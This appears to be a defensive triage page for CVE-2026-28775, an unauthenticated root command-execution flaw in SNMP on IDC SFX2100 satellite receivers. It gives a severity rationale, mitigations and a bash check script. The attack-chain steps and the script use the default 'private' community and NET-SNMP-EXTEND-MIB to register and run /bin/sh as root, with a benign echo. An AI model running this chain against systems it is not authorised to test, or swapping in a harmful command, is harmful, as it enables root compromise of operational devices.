This is a loaded service port left in the maintenance closet, not a drive-by web bug
CVE-2026-28775 is an unauthenticated root RCE in the SNMP service on IDC SFX Series SuperFlex Satellite Receiver devices, notably the SFX2100 family. The flaw depends on two things lining up at once: the device exposes SNMP to the attacker, and the shipped private SNMP community still has read/write access, letting the attacker use NET-SNMP-EXTEND-MIB to define and run commands as root. Public writeups and downstream vuln records describe affected versions as IDC SFX Series / SFX2100 devices running vulnerable net-snmp versions prior to 5.8.
The vendor-style 9.8/10.0 label is technically defensible in a lab, because if the port is reachable the exploit path is brutally short and lands as root with no auth and no user clicks. In real enterprises, though, this is not Exchange or an edge VPN: it is a niche OT/broadcast appliance, usually on a management or facility network, and exploitation normally requires an attacker to already have network adjacency to UDP/161 on the box. That exposure friction drags the operational severity down from *drop-everything CRITICAL* to a very serious *HIGH*.
4 steps from start to impact.
Find a reachable SFX SNMP endpoint
snmpget/snmpwalk from Net-SNMP, not a fancy exploit kit, because the protocol surface is enough on its own.- Target is an IDC SFX/SFX2100 receiver
- SNMP service is enabled and reachable over the network
- Attacker has path to the management interface or management VLAN
- These devices are often not internet-facing
- Many enterprises ACL SNMP to NMS hosts only
- OT/broadcast segments may be routed separately from user networks
Abuse the default writable community
snmpset with the default private community, the attacker writes new NET-SNMP-EXTEND-MIB entries. The public exploit writeup shows this is enough to register /bin/sh and attacker-controlled arguments with the daemon.- Default or otherwise known SNMP v1/v2c write community is accepted
- Write access to SNMP MIB objects is allowed
- If the write community was changed, removed, or SNMPv3-only is enforced, the chain breaks
- Some deployments keep SNMP read-only even when enabled
NET-SNMP-EXTEND-MIB / nsExtend*; many environments have weak telemetry for this unless SNMP is explicitly logged.Trigger command execution as root
snmpbulkwalk/snmpwalk to read the newly created extend object, which causes command execution. Because snmpd runs as root on the affected device, output comes back from a root-context process.NET-SNMP-EXTEND-MIBsupport is present- SNMP daemon runs as
root - Underlying
net-snmpbuild remains vulnerable/pre-5.8
- If the extend module is disabled, the payload never runs
- Even reachable SNMP services may not expose this MIB in hardened builds
1.3.6.1.4.1.8072.1.3; on-host evidence includes suspicious snmpd-spawned shells or commands.Use root on a niche but sensitive appliance
- Device has routable access to adjacent management or operations systems
- Attacker can maintain access after initial command execution
- These appliances are often single-purpose and sparsely connected
- Limited egress and flat Linux userland can constrain tooling compared with general-purpose servers
The supporting signals.
| In-the-wild status | No confirmed active exploitation found in reviewed authoritative sources, and not listed in CISA KEV as of the catalog page reviewed. |
|---|---|
| Proof-of-concept availability | Yes — public PoC-level tradecraft exists. Abdul Mhanni's disclosure includes working snmpset and snmpbulkwalk commands that create and trigger nsExtend entries; that is enough for reproduction without a separate exploit framework. |
| EPSS | 0.00944 from the prompt intel. That is *low relative likelihood* for broad internet exploitation, which fits a niche appliance on a management plane; percentile not independently verified in the reviewed authoritative sources. |
| KEV status | No. CISA's Known Exploited Vulnerabilities catalog did not show this CVE in the reviewed source. |
| CVSS vector reality check | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H correctly captures the *technical* impact: if reachable, it is unauthenticated root RCE with full compromise potential. It overstates *enterprise-wide urgency* because it ignores management-plane reachability and product population. |
| Affected versions | Reviewed records describe IDC SFX Series / SFX2100 SuperFlex Satellite Receiver devices as affected, with downstream references calling out builds using net-snmp prior to 5.8. |
| Fixed version | Best available fix signal: net-snmp 5.8+. I did not find an IDC vendor firmware advisory in the reviewed sources that cleanly names a patched firmware release, so validate with the vendor before assuming a firmware train is available. |
| Scanning / exposure data | No trustworthy public population count found in the reviewed sources for exposed SFX devices. Treat this as a niche externally exposed population problem and a serious internal-management-segment problem; standard internet scanners can see SNMP, but reliable SFX fingerprinting counts were not validated here. |
| Disclosure date | 2026-03-04 in NVD/OpenCVE records; the public blog writeup was published 2026-03-05. |
| Researcher / source | Abdul Mhanni published the technical disclosure; the CVE source/CNA shown in downstream records is Gridware. |
noisgate verdict.
The decisive friction is attacker position: this bug is devastating only after an attacker can reach UDP/161 on a niche appliance's management plane. That means the real-world exposed population is much smaller than a web-edge RCE, but once reachable the chain is trivial and lands as root, which keeps it firmly in HIGH.
Why this verdict
- Downgraded for attacker position: exploitation requires network reachability to the SNMP management service, which in real deployments usually implies internal access, a routed management segment, or a badly exposed OT edge.
- Still high because the exploit is short and clean: no credentials, no user interaction, and public reproduction steps already exist using standard Net-SNMP tooling.
- Population is narrow, impact is not: this is a specialized appliance rather than a mass enterprise platform, but compromise lands as
rooton infrastructure that can be operationally sensitive.
Why not higher?
This is not an every-enterprise edge-service emergency. The vulnerability sits behind SNMP exposure assumptions that are often blocked by segmentation, ACLs, or simple lack of internet reachability, and there is no KEV listing or reviewed evidence of broad in-the-wild exploitation. Those are meaningful downward pressures.
Why not lower?
If an attacker can touch the service, there is almost no exploit friction left. Default writable community access plus NET-SNMP-EXTEND-MIB means unauthenticated command execution as root, which is too easy and too complete to relegate to MEDIUM.
What to do — in priority order.
- Block UDP/161 to the appliance — Restrict SNMP to approved NMS sources only at firewalls, routers, and local ACLs. For a HIGH verdict, deploy this compensating control within 30 days; faster if the device is reachable from user, server, or third-party networks.
- Disable SNMP write access — Remove or rotate the default
privatecommunity, eliminate SNMP v1/v2c write communities, and prefer SNMPv3 where the product supports it. This cuts the exploit chain at the most decisive step and should be completed within 30 days. - Disable extend functionality or SNMP entirely — If the receiver does not require SNMP for operations, shut it off. If SNMP is required, disable
NET-SNMP-EXTEND-MIBstyle command-extension capability where feasible; implement this within 30 days as a temporary or permanent hardening measure. - Constrain management-plane reachability — Move the device into a dedicated management or OT enclave with jump-host-only administration and explicit allowlists. For HIGH, this is a valid compensating control to stand up within 30 days while you verify patchability and vendor guidance.
- Alert on SNMP SET activity — Instrument IDS, firewall logs, or SNMP daemon logs to detect
snmpsetbehavior and especially writes undernsExtend*OIDs. Detection does not prevent exploitation, but it helps catch probing and repeat attempts while compensating controls are being rolled out within 30 days.
- MFA does not help because the exploit path is unauthenticated SNMP, not an interactive login flow.
- Read-only monitoring confidence is misplaced if the
privatewrite community still exists; monitoring traffic can look normal right up untilsnmpsetlands. - Generic antivirus on adjacent Windows admin stations does nothing to stop an attacker talking SNMP directly to the appliance.
- Relying on low EPSS alone is a mistake; low broad-exploitation probability does not reduce impact on the specific reachable device.
Crowdsourced verification payload.
Run this from an auditor workstation or management jump host that has network reachability to the target's UDP/161 port and the Net-SNMP client tools installed. Invoke it as ./check-cve-2026-28775.sh 10.10.20.15; no target credentials are needed because the check tests the default communities, but you do need permission to send SNMP probes from your source IP.
#!/usr/bin/env bash
# check-cve-2026-28775.sh
# Safe-ish verification for CVE-2026-28775 on IDC SFX/SFX2100 targets.
# It checks whether default SNMP communities are accepted and whether
# NET-SNMP-EXTEND-MIB can be abused to execute a benign command.
#
# Output:
# VULNERABLE - default write community works and extend MIB executes
# PATCHED - target responds but chain is blocked
# UNKNOWN - no response / tools missing / indeterminate
#
# Exit codes:
# 0 = VULNERABLE
# 1 = PATCHED
# 2 = UNKNOWN
set -u
TARGET="${1:-}"
RW_COMMUNITY="private"
RO_COMMUNITY="public"
TAG="ngcve28775"
MIB="NET-SNMP-EXTEND-MIB"
OID_BASE="nsExtendStatus.\"${TAG}\""
TMP_OUT="$(mktemp 2>/dev/null || echo /tmp/ngcve28775.$$)"
cleanup() {
snmpset -v1 -c "$RW_COMMUNITY" "$TARGET" "$MIB::$OID_BASE" i 6 >/dev/null 2>&1 || true
rm -f "$TMP_OUT" >/dev/null 2>&1 || true
}
trap cleanup EXIT
need_cmd() {
command -v "$1" >/dev/null 2>&1
}
if [[ -z "$TARGET" ]]; then
echo "UNKNOWN - usage: $0 <ip-or-hostname>"
exit 2
fi
for cmd in snmpget snmpset snmpwalk timeout; do
if ! need_cmd "$cmd"; then
echo "UNKNOWN - missing required command: $cmd"
exit 2
fi
done
# Basic liveness check: if even the public community does not answer, try private.
if ! timeout 5 snmpget -v2c -c "$RO_COMMUNITY" -Oqv "$TARGET" SNMPv2-MIB::sysDescr.0 >"$TMP_OUT" 2>/dev/null; then
if ! timeout 5 snmpget -v2c -c "$RW_COMMUNITY" -Oqv "$TARGET" SNMPv2-MIB::sysDescr.0 >"$TMP_OUT" 2>/dev/null; then
echo "UNKNOWN - target did not respond to default SNMP communities"
exit 2
fi
fi
# Attempt to create a benign extend entry using the default write community.
if ! timeout 5 snmpset -m +"$MIB" -v1 -c "$RW_COMMUNITY" "$TARGET" \
"$MIB::$OID_BASE" i 4 \
"$MIB::nsExtendCommand.\"${TAG}\"" s /bin/sh \
"$MIB::nsExtendArgs.\"${TAG}\"" s '-c "echo VULNTEST"' >"$TMP_OUT" 2>/dev/null; then
echo "PATCHED - default write community or extend write path rejected"
exit 1
fi
# Trigger execution by reading the extend subtree.
if timeout 5 snmpwalk -m +"$MIB" -v2c -c "$RO_COMMUNITY" "$TARGET" "$MIB::nsExtendObjects" >"$TMP_OUT" 2>/dev/null; then
if grep -q 'VULNTEST' "$TMP_OUT"; then
echo "VULNERABLE - default private write community plus extend MIB command execution confirmed"
exit 0
fi
fi
# Some targets may require reading back with the same write community.
if timeout 5 snmpwalk -m +"$MIB" -v2c -c "$RW_COMMUNITY" "$TARGET" "$MIB::nsExtendObjects" >"$TMP_OUT" 2>/dev/null; then
if grep -q 'VULNTEST' "$TMP_OUT"; then
echo "VULNERABLE - default private write community plus extend MIB command execution confirmed"
exit 0
fi
fi
echo "PATCHED - target responded, but benign extend execution was not confirmed"
exit 1
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.